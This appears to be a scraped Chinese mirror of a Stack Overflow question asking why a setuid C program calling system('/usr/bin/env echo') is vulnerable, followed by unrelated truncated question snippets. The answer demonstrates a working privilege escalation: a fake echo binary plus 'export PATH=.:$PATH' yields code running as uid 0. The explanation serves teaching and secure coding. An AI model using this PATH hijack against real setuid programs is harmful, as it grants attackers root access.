- mongodb - 在 MongoDB mapreduce 中,如何展平值对象?
- javascript - 对象传播与 Object.assign
- html - 输入类型 ="submit"Vs 按钮标签它们可以互换吗?
- sql - 使用 MongoDB 而不是 MS SQL Server 的优缺点
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
按照我的理解,上面的代码允许任意代码(或程序)执行——是什么导致了这个漏洞,以及如何利用这一点?
最佳答案
您可以覆盖 PATH
变量以指向具有自定义版本的 echo
的目录,并且由于 echo
是使用 执行的env
,它不被视为内置。
仅当代码以特权用户身份运行时,这才构成漏洞。
在下面的示例中,文件 v.c 包含问题中的代码。
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
注意在调用system()
之前调用setresuid()
设置真实用户ID、有效用户ID和保存的set-user-ID在问题中发布的易受攻击的代码中,即使仅将有效用户 ID 设置为特权用户 ID 并且真实用户 ID 保持无特权(例如依赖 set-user-ID 位一个文件如上)。如果不调用 setresuid()
,由 system()
运行的 shell 会将有效用户 ID 重置为真实用户 ID,从而使漏洞利用无效。然而,当易受攻击的代码使用特权用户的真实用户 ID 运行时,单独调用 system()
就足够了。引用 sh
手册页:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
另外,请注意 setreuid()
不可移植,但 setuid()
或 setreuid()
也可用于效果一样。
关于c - 这段 C 代码有什么漏洞?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/8304396/
所以我实现了ciphersaber-1 .它几乎可以工作,我可以解密 cstest1.cs1。但我无法让 cstest2.cs1 正常工作。 输出是: The Fourth Amendment to
更改 unsat 查询中断言的顺序后,它变为 sat。 查询结构为: definitions1 assertions1 definitions2 bad_assertions check-sat 我使
就目前情况而言,这个问题不太适合我们的问答形式。我们希望答案得到事实、引用资料或专业知识的支持,但这个问题可能会引发辩论、争论、民意调查或扩展讨论。如果您觉得这个问题可以改进并可能重新开放,visit
我的应用程序用于使用 wifi 进行实时视频流和录制(音频和视频)。使用以下依赖项: repositories { maven { url 'https://raw.github.com/iParse
我正在使用 Delphi,并且我想在我的应用程序中使用 ActiveX 组件(用于压缩)。这会让我的程序更容易受到病毒攻击吗?我的程序是一个备份应用程序,它使用 FTP 和套接字来传输文件和消息。我的
我用这个函数来防止SQL注入(inject) function cleanQuery($string) { if(get_magic_quotes_gpc()) // prevents du
最近我在向我的 friend 解释参数化及其优势,他问我在安全性方面它比 mysqli_escape_string 有什么好处。具体来说,您能想到尽管输入字符串被转义(使用 mysqli_escape
我想我在最新版本的 Highstock 中发现了一个错误: 定义了以下 RangeSelector: rangeSelector: { buttons: [{ typ
我在阅读有关 C 语言字符串中的漏洞的文章后,发现了这段代码。谁能给我解释为什么会这样?提前致谢。 int main (int argc, char* argv[]) { char a[16];
我最近浏览了 php 等的 emacs 模式,并决定选择 nXhtml。但是,我不断收到以下错误:每当我打开一个 html 文件时,整个文件都以蓝色突出显示。不用说,这很烦人。我认为这可能是因为我的
我被分配到我公司的一个遗留 Web 应用程序,在研究源代码一两天后,我发现了一个类似于以下内容的 SQL 注入(inject)向量: mysql_query("SELECT * FROM foo WH
在坚持代码分析错误的过程中,我正在将我的属性更改为具有私有(private) setter 。然后我开始尝试更多地了解为什么。根据一些研究,MS 说 this : A writable collect
我最近开始使用 AngularJS,我想我遇到了一个奇怪的错误。 首先,这是一些工作代码: 查看: Delete Num
阅读时djangobook chapter ,我遇到了提到 csrf 漏洞的部分,其中注销链接被放置在隐藏的恶意站点中。 在我使用 django 创建的 Web 应用程序中,我使用了类似的注销链接 基
以前,在我的应用程序中,我得到了一个 NPE,并且通过在 NullPointerException 处设置断点,可以获得中断、堆栈跟踪(在“调试”窗口中)以及“变量”窗口中的当前变量。 但是,现在其他
我下载了 sponza_obj.rar (sponza.obj + sponza.mtl) 和 sponza_textures.rar Crytek 网站。看起来缺少gi_flag.tga。我在哪里可
在我的应用程序中,我们有许多用户,他们都与不同的调用中心相关。在 URL 中,有一个向后的 hack,他们可以在 ? 后面输入 call_center=number。它将引导他们进入不同的调用中心数据
我正在建立一个带有 SQL 注入(inject)漏洞的网站用于测试目的。但是,我只想配置 SQL 盲注。我有这个 PHP 代码: NEW
我们有一个 ASP.NET/C# 网站。我们的开发人员在亚洲离岸,我刚刚发现他们一直在网站前端放置原始 SQL。 我担心我们现在容易受到 SQL 注入(inject)攻击。有谁知道我如何检测网站上的漏
我正在尝试从代码运行 Microsoft Rdp 应用程序。 我有以下伪代码,SonarQube 提示命令注入(inject)漏洞 String rdpFilePath = myObject.getR
我是一名优秀的程序员,十分优秀!